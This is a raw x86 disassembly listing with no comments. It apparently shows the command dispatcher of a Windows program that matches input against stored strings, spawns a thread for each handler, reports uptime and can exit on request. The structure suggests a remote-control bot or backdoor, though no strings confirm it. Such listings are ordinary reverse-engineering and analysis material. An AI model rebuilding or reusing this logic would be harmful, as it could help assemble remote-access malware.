pop ecx
je 0x41390d
push edi
push 0x434c98
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f89c
push dword [ebp + esi - 0x90]
push 7
push 0x434c88
push 0x434c80
jmp 0x413f2c
push edi
push 0x434c7c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f91a
cmp dword [ebp - 8], ebx
jne 0x40f8cc
push ebx
push dword [ebp - 4]
push 0x434c6c
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
mov eax, dword [ebp + 0x20]
cmp byte [eax], bl
je 0x40f8d6
inc eax
jmp 0x40f8db
mov eax, 0x434c64
push eax
push ebx
lea eax, [ebp - 0x2dc]
push 0x434c5c
push eax
call fcn.00418f47
push 1
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
push 0x434c3c
call fcn.00405616
add esp, 0x28
jmp 0x4142a6
push edi
push 0x434c34
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4138cc
push edi
push 0x434c30
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4138cc
push edi
push 0x434c24
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4138a1
push edi
push 0x434c1c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4138a1
push edi
push 0x434c10
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41387d
push edi
push 0x434c08
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41387d
push edi
push 0x434bfc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413840
push edi
push 0x434bf8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413840
push edi
push 0x434be8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4136e4
push edi
push 0x434be0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4136e4
push edi
push 0x434bd4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41356e
push edi
push 0x434bcc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41356e
push edi
push 0x434bc0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413430
push edi
push 0x434bb8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413430
push edi
push 0x434bb0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40faa6
lea eax, [ebp - 0x2dc]
push 0x434b98
push eax
call fcn.00418f47
cmp dword [ebp - 8], ebx
pop ecx
pop ecx
jne 0x40fa85
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
lea eax, [ebp - 0x2dc]
push eax
call fcn.00405616
mov dword [esp], 0x434bb0
push dword [ebp + esi - 0x80]
call fcn.00419c00
jmp 0x41444d
push edi
push 0x434b8c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413389
push edi
push 0x434b88
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413389
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
pop ecx
pop ecx
jmp 0x410173
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0xc
cmp dword [ebp - 8], ebx
jne 0x40ec0f
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
jmp 0x40ec0f
cmp dword [ebp - 8], ebx
jne 0x410457
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
mov esi, dword [ebp + 0x2c]
lea eax, [ebp - 0x2dc]
push eax
call fcn.00405616
pop ecx
mov eax, esi
jmp 0x40e64e
lea eax, [ebp - 0x2dc]
push eax
call fcn.00405616
pop ecx
jmp 0x4142a6
cmp dword [ebp - 8], ebx
jne 0x410cb9
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
lea eax, [ebp - 0x2dc]
push eax
call fcn.00405616
jmp 0x41444e
add esp, 0xc
jmp 0x4142a6
add esp, 0x18
jmp 0x4142a6
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0xc
jmp 0x410c12
push dword [ebp - 0x8c]
lea eax, [ebp - 0xa4]
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp + 0xc]
push 0x433540
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2dc]
push 0x200
push eax
call fcn.00418916
push ebx
lea eax, [ebp - 0x2dc]
push 0x1d
push eax
call fcn.00417ed1
add esp, 0x24
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xa8]
push ebx
push eax
push 0x407e86
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x24]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x41341f
push 4
call fcn.00418119
test eax, eax
pop ecx
jle 0x413446
push 0x4334ec
jmp 0x410057
mov eax, dword [ebp + esi - 0x90]
cmp eax, ebx
je 0x413469
push eax
mov edi, 0x104
lea eax, [ebp - 0x7fc]
push edi
push eax
call fcn.00418916
add esp, 0xc
jmp 0x41347d
mov edi, 0x104
lea eax, [ebp - 0x7fc]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [ebp + esi - 0x8c]
cmp esi, ebx
jne 0x41348d
mov esi, 0x43246c
push esi
lea eax, [ebp - 0x6f8]
push edi
push eax
call fcn.00418916
mov eax, dword [0x4323f0]
push 0x7f
push dword [ebp - 0x8c]
mov dword [ebp - 0x5ec], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5f0], ebx
mov dword [ebp - 0x800], eax
lea eax, [ebp - 0x5e8]
push eax
call fcn.00419e20
mov eax, dword [ebp - 4]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x6f8]
push eax
lea eax, [ebp - 0x7fc]
push eax
lea eax, [ebp - 0x2dc]
push dword [ebp - 0x5ec]
push 0x42a5f4
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 4
push eax
call fcn.00417ed1
add esp, 0x38
mov dword [ebp - 0x5f4], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x800]
push ebx
push eax
push fcn.004179ea
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x5f4]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x41355d
mov edi, dword [ebp + esi - 0x90]
cmp edi, ebx
je 0x41358d
push edi
call fcn.00418e4a
test eax, eax
pop ecx
je 0x41358d
push edi
call fcn.00418e4a
pop ecx
jmp 0x413592
mov eax, dword [0x4323f4]
mov esi, dword [ebp + esi - 0x8c]
mov dword [ebp - 0x57c], eax
xor eax, eax
cmp byte [ebp - 0x9c4], bl
sete al
cmp esi, ebx
mov dword [ebp - 0x568], eax
je 0x4135c5
lea eax, [ebp - 0x680]
push esi
push eax
call fcn.00418f47
pop ecx
pop ecx
jmp 0x4135f0
lea eax, [ebp - 0x3fc]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
push ebx
lea eax, [ebp - 0x2e8]
push ebx
push eax
lea eax, [ebp - 0x3fc]
push eax
call fcn.0041adb6
add esp, 0x14
lea eax, [ebp - 0x680]
push eax
call fcn.00418970
cmp byte [ebp + eax - 0x681], 0x5c
pop ecx
jne 0x41361b
lea eax, [ebp - 0x680]
push eax
call fcn.00418970
pop ecx
mov byte [ebp + eax - 0x681], bl
push dword [ebp - 0x8c]
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x908]
mov dword [ebp - 0x90c], esi
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 4]
add esp, 0xc
mov dword [ebp - 0x56c], eax
lea eax, [ebp - 0x680]
mov dword [ebp - 0x570], edi
push eax
push dword [ebp - 0x57c]
push esi
call fcn.0040cf12
pop ecx
push eax
lea eax, [ebp - 0x2dc]
push 0x42a524
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 3
push eax
call fcn.00417ed1
add esp, 0x20
mov dword [ebp - 0x574], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90c]
push ebx
push eax
push 0x408f2c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x574]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x4136d3
cmp dword [ebp - 0x560], ebx
jne 0x413822
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4136bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x433480
jmp 0x413813
mov edi, dword [ebp + esi - 0x90]
cmp edi, ebx
je 0x413703
push edi
call fcn.00418e4a
test eax, eax
pop ecx
je 0x413703
push edi
call fcn.00418e4a
pop ecx
jmp 0x413708
mov eax, dword [0x4323f8]
mov dword [ebp - 0x578], eax
mov eax, dword [ebp + esi - 0x8c]
cmp eax, ebx
jne 0x41371f
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x6b8]
push 0x40
push eax
call fcn.00418916
mov esi, dword [ebp + esi - 0x88]
add esp, 0xc
cmp esi, ebx
jne 0x413741
mov esi, 0x43afa4
push esi
lea eax, [ebp - 0x678]
push 0x100
push eax
call fcn.00418916
push dword [ebp - 0x8c]
lea eax, [ebp - 0x738]
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp - 4]
add esp, 0x18
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x6b8]
push eax
mov dword [ebp - 0x73c], esi
push dword [ebp - 0x578]
mov dword [ebp - 0x568], edi
push esi
call fcn.0040cf12
pop ecx
push eax
lea eax, [ebp - 0x2dc]
push 0x433448
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 6
push eax
call fcn.00417ed1
add esp, 0x20
mov dword [ebp - 0x574], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x73c]
push ebx
push eax
push 0x414f2f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x574]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x413807
cmp dword [ebp - 0x560], ebx
jne 0x413822
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4137f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x433410
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0xc
cmp dword [ebp - 8], ebx
jne 0x410cb9
push ebx
push edi
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp - 0x8c]
push esi
jmp 0x410cb1
mov esi, dword [ebp + esi - 0x90]
cmp esi, ebx
je 0x413853
push esi
call fcn.00418e4a
jmp 0x41385a
push 8
call fcn.00418138
cmp eax, ebx
pop ecx
je 0x4142a6
push eax
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.00404b1f
add esp, 0x10
jmp 0x4142a6
mov eax, dword [0x442170]
cmp eax, ebx
je 0x41389a
call eax
test eax, eax
je 0x413893
push 0x4333f0
jmp 0x4138af
push 0x4333c8
jmp 0x4138af
push 0x4333a0
jmp 0x4138af
call fcn.0040ce34
test eax, eax
je 0x4138c5
push 0x433380
lea eax, [ebp - 0x2dc]
push 0x200
push eax
call fcn.00418916
jmp 0x41418d
push 0x433358
jmp 0x4138af
cmp dword [ebp - 8], ebx
jne 0x4138eb
push ebx
push dword [ebp - 4]
push 0x433344
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
push ebx
push dword [ebp - 4]
call fcn.0040bb71
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
push 0x43332c
jmp 0x413bd9
push 7
call fcn.00418119
test eax, eax
pop ecx
jle 0x413920
push 0x433304
jmp 0x413941
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.00414aec
pop ecx
cmp eax, 0xffffffff
pop ecx
jne 0x41393c
push 0x4332e0
jmp 0x413941
push 0x4332c4
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
pop ecx
pop ecx
jmp 0x410c98
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040b55e
jmp 0x413bf7
push dword [ebp + esi - 0x90]
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.00407aaf
jmp 0x413bf7
or edi, 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov esi, dword [ebp + esi - 0x90]
cmp esi, ebx
mov dword [ebp + 8], eax
je 0x4139b3
push esi
call fcn.00418e4a
pop ecx
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov ecx, 0x15180
div ecx
cmp eax, edi
jae 0x4139cc
cmp edi, 0xffffffff
jne 0x4142a6
push ebx
call fcn.00416f75
push eax
lea eax, [ebp - 0x2dc]
push 0x4332b0
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
lea eax, [ebp - 0x2dc]
push eax
jmp 0x40f90d
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.00405f52
lea eax, [ebp - 0x2dc]
push 0x433294
push eax
call fcn.00418f47
add esp, 0x14
jmp 0x410173
push 0x1e
call fcn.00418119
test eax, eax
pop ecx
jle 0x413a67
cmp dword [ebp - 8], ebx
jne 0x40e64b
push ebx
push dword [ebp - 4]
push 0x433278
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
jmp 0x40e64b
push dword [ebp - 0x8c]
lea eax, [ebp - 0x4f0]
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + esi - 0x90]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 8]
add esp, 0xc
cmp esi, ebx
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x46c], ebx
je 0x413ac8
push esi
push 0x433270
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x413ac8
mov dword [ebp - 0x46c], 1
lea eax, [ebp - 0x2dc]
push 0x433258
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 0x1e
push eax
call fcn.00417ed1
add esp, 0x14
mov dword [ebp - 0x470], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4f4]
push ebx
push eax
push 0x40d5f4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x470]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x413b36
cmp dword [ebp - 0x460], ebx
jne 0x410cb9
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413b20
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x433220
jmp 0x414163
cmp dword [ebp - 8], ebx
jne 0x413b66
push ebx
push dword [ebp - 4]
push 0x433208
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
push dword [ebp + 0xc]
call dword [fcn.004422e0]
call dword [fcn.004421a8]
call fcn.0040bcf4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push dword [ebp + 0xc]
push eax
call fcn.0041712c
pop ecx
pop ecx
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
push 0x4331f0
jmp 0x413bd9
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 0x24]
push eax
call fcn.004173e0
add esp, 0xc
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
push 0x4331d8
call fcn.00405616
jmp 0x412413
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.004056b6
add esp, 0x10
jmp 0x40e64b
cmp dword [ebp - 0xc], ebx
mov byte [ebp - 0x388], bl
je 0x413c3e
mov esi, dword [ebp + esi - 0x90]
cmp esi, ebx
je 0x413c3e
push esi
push dword [ebp - 0xc]
call fcn.0041a170
pop ecx
cmp eax, ebx
pop ecx
je 0x413c3e
push eax
push 0x42c858
lea eax, [ebp - 0x388]
push 0x80
push eax
call fcn.00418916
add esp, 0x10
push dword [ebp - 0x8c]
lea eax, [ebp - 0x408]
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp + 0xc]
push 0x4331c4
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x300], eax
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 0x1c
push eax
call fcn.00417ed1
add esp, 0x20
mov dword [ebp - 0x308], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x40c]
push ebx
push eax
push 0x405728
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x308]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x413cde
cmp dword [ebp - 0x2fc], ebx
jne 0x40e64b
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413cc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x433190
jmp 0x414448
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040559e
push 0x43317c
call fcn.00405616
jmp 0x413875
push dword [ebp - 0x8c]
lea eax, [ebp - 0x4f0]
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + esi - 0x90]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 8]
add esp, 0xc
cmp esi, ebx
mov dword [ebp - 0x464], eax
je 0x413d69
push 0x433178
push esi
call fcn.00419c00
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov dword [ebp - 0x46c], eax
jmp 0x413d6f
mov dword [ebp - 0x46c], ebx
lea eax, [ebp - 0x2dc]
push 0x43315c
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 0x1f
push eax
call fcn.00417ed1
add esp, 0x14
mov dword [ebp - 0x470], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4f4]
push ebx
push eax
push 0x417f3c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x470]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x413ddd
cmp dword [ebp - 0x460], ebx
jne 0x410c12
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413dc7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x433124
jmp 0x412aa7
push 0x4888e0
lea eax, [ebp - 0x2dc]
push 0x433110
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x20
jmp 0x410457
push dword [0x488768]
call fcn.00416f75
push eax
lea eax, [ebp - 0x2dc]
push 0x4330e8
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x24
jmp 0x410457
mov esi, dword [ebp + esi - 0x90]
cmp esi, ebx
je 0x413e95
cmp dword [ebp - 0xc], ebx
je 0x413ea4
push esi
push dword [ebp - 0xc]
call fcn.0041a170
pop ecx
cmp eax, ebx
pop ecx
je 0x413ea4
push eax
push 0x4330dc
push dword [ebp + 0xc]
call fcn.0040a42e
add esp, 0xc
jmp 0x413ea4
push 0x4336a0
push dword [ebp + 0xc]
call fcn.0040a42e
pop ecx
pop ecx
push 0xfffffffffffffffe
jmp 0x40e64d
push 0x4330c4
push dword [ebp + 0xc]
call fcn.0040a42e
push 0x4330ac
call fcn.00405616
add esp, 0xc
or eax, 0xffffffff
jmp 0x40e64e
push 0x433094
push dword [ebp + 0xc]
call fcn.0040a42e
push 0x43307c
call fcn.00405616
add esp, 0xc
xor eax, eax
jmp 0x40e64e
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.00404a55
jmp 0x41237c
push dword [ebp + esi - 0x90]
push 0x1e
push 0x43306c
push 0x433064
jmp 0x413f2c
push dword [ebp + esi - 0x90]
push 0x1b
push 0x433058
push 0x43304c
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0041815f
add esp, 0x20
jmp 0x40e64b
mov edi, dword [ebp + esi - 0x90]
cmp edi, ebx
je 0x413f67
push edi
call fcn.00418e4a
test eax, eax
pop ecx
je 0x413f67
push edi
call fcn.00418e4a
pop ecx
jmp 0x413f6c
mov eax, dword [0x4323ec]
mov esi, dword [ebp + esi - 0x8c]
mov dword [ebp - 0x478], eax
cmp esi, ebx
je 0x413f91
push esi
lea eax, [ebp - 0x488]
push 0x10
push eax
call fcn.00418916
add esp, 0xc
jmp 0x413fa8
cmp byte [ebp - 0x9c7], bl
je 0x413fa2
lea eax, [ebp - 0xd4]
push eax
jmp 0x413f7e
mov byte [ebp - 0x488], bl
mov eax, dword [ebp - 4]
push dword [ebp - 0x8c]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp - 8]
push 0x80
mov dword [ebp - 0x468], eax
lea eax, [ebp - 0x508]
push eax
mov dword [ebp - 0x50c], esi
call fcn.00418916
add esp, 0xc
push dword [ebp - 0x478]
push esi
call fcn.0040cf12
pop ecx
push eax
lea eax, [ebp - 0x2dc]
push 0x433028
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 0x11
push eax
call fcn.00417ed1
add esp, 0x1c
mov dword [ebp - 0x474], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x50c]
push ebx
push eax
push 0x416604
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x474]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x414059
cmp dword [ebp - 0x464], ebx
jne 0x40e64b
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x414043
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x432ff0
jmp 0x414448
push edi
push 0x434fac
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414092
push edi
push 0x434fa8
call fcn.00419c00
pop ecx
mov dword [ebp - 0x46c], ebx
test eax, eax
pop ecx
jne 0x41409c
mov dword [ebp - 0x46c], 1
push dword [ebp - 0x8c]
lea eax, [ebp - 0x4f0]
push 0x80
push eax
call fcn.00418916
mov eax, dword [ebp + 0xc]
add esp, 0xc
cmp dword [ebp - 0x46c], ebx
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x464], eax
mov eax, 0x432fe4
jne 0x4140e3
mov eax, 0x432fd8
push eax
push 0x432fc0
lea eax, [ebp - 0x2dc]
push 0x200
push eax
call fcn.00418916
push ebx
lea eax, [ebp - 0x2dc]
push 0x19
push eax
call fcn.00417ed1
add esp, 0x1c
mov dword [ebp - 0x470], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4f4]
push ebx
push eax
push 0x4157b5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x470]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x414157
cmp dword [ebp - 0x460], ebx
jne 0x410cb9
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x414141
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x432cf8
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0xc
jmp 0x410cb9
push 0x432410
push 0x432fb4
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0xc
jmp 0x410436
mov esi, dword [ebp + esi - 0x90]
cmp esi, ebx
je 0x4141f5
push esi
call fcn.00418e4a
cmp eax, ebx
pop ecx
jl 0x4141ea
cmp eax, 1
jge 0x4141ea
mov edx, dword [ebp + 0x20]
mov ecx, eax
shl ecx, 7
cmp byte [ecx + edx], bl
lea esi, [ecx + edx]
je 0x4141df
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x2dc]
push 0x4351f8
push eax
call fcn.00418f47
add esp, 0xc
mov byte [esi], bl
jmp 0x410173
push eax
push 0x432f8c
jmp 0x410164
push eax
push 0x432f64
jmp 0x410164
mov edi, dword [ebp + 0x20]
xor esi, esi
push dword [ebp - 0x94]
push edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41421d
inc esi
add edi, 0x80
cmp esi, 1
jl 0x4141fa
jmp 0x410173
mov eax, dword [ebp + 0x20]
shl esi, 7
mov byte [esi + eax], bl
lea eax, [ebp - 0xd4]
push eax
push 0x4351f8
jmp 0x410164
push dword [ebp - 0x90]
push 0x43518c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4142a6
call fcn.0041809a
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp + esi - 0x90]
xor eax, eax
cmp byte [ebp - 0x9b8], bl
setne al
push eax
lea eax, [ebp - 0x928]
push dword [0x43240c]
push eax
call fcn.0041558e
lea eax, [ebp - 0x928]
push eax
push 0x43521c
push dword [ebp + 0xc]
call fcn.0040a42e
lea eax, [ebp - 0x928]
push eax
push 0x432f44
call fcn.0040568a
add esp, 0x24
mov eax, dword [ebp + 0x2c]
jmp 0x40e64e
mov esi, dword [ebp + esi - 0x90]
cmp esi, ebx
mov dword [ebp + 0x2c], esi
je 0x40e64b
cmp dword [ebp - 0xb8], ebx
jne 0x40e64b
push 0x435260
push dword [ebp - 0x94]
call fcn.00419ff8
mov esi, eax
push 0x43afb4
push ebx
inc esi
call fcn.00419ff8
push 0x432f40
push eax
call fcn.00419ff8
add esp, 0x18
mov edi, eax
push ebx
push 0x43afa4
push dword [ebp + 0x2c]
call fcn.00418970
pop ecx
push eax
push dword [ebp + 0x2c]
call fcn.004061b4
push dword [ebp + 0x2c]
push 0x432418
call fcn.00419c00
add esp, 0x18
test eax, eax
je 0x414371
lea eax, [ebp - 0xd4]
push edi
push eax
lea eax, [ebp - 0xd4]
push eax
push 0x432f18
push dword [ebp + 0xc]
call fcn.0040a42e
lea eax, [ebp - 0xd4]
push eax
push 0x432eec
push dword [ebp + 0xc]
call fcn.0040a42e
push edi
push esi
push 0x432ec4
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0x30
jmp 0x40ec0f
mov dword [ebp + 8], 0x4324d0
mov eax, dword [ebp + 8]
push edi
push dword [eax]
call fcn.0041871b
pop ecx
test eax, eax
pop ecx
jne 0x4143cf
add dword [ebp + 8], 4
cmp dword [ebp + 8], 0x4324d4
jl 0x414378
lea eax, [ebp - 0xd4]
push edi
push eax
lea eax, [ebp - 0xd4]
push eax
push 0x432e9c
push dword [ebp + 0xc]
call fcn.0040a42e
lea eax, [ebp - 0xd4]
push eax
push 0x432eec
push dword [ebp + 0xc]
call fcn.0040a42e
push edi
push esi
push 0x432e74
jmp 0x41435d
mov edi, dword [ebp + 0x20]
xor esi, esi
cmp dword [ebp + 0x2c], ebx
je 0x40e64b
cmp byte [edi], bl
jne 0x4143f4
push dword [ebp + 0x2c]
push 0x432418
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414405
inc esi
add edi, 0x80
cmp esi, 1
jl 0x4143d4
jmp 0x40e64b
shl esi, 7
add esi, dword [ebp + 0x20]
lea eax, [ebp - 0xaa8]
push 0x7f
push eax
push esi
call fcn.00419e20
add esp, 0xc
cmp dword [ebp - 8], ebx
jne 0x41443c
push ebx
push dword [ebp - 4]
push 0x432e58
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x14
lea eax, [ebp - 0xd4]
push eax
push 0x432e3c
call fcn.0040568a
pop ecx
pop ecx
jmp 0x40e64b
push dword [ebp + 0x18]
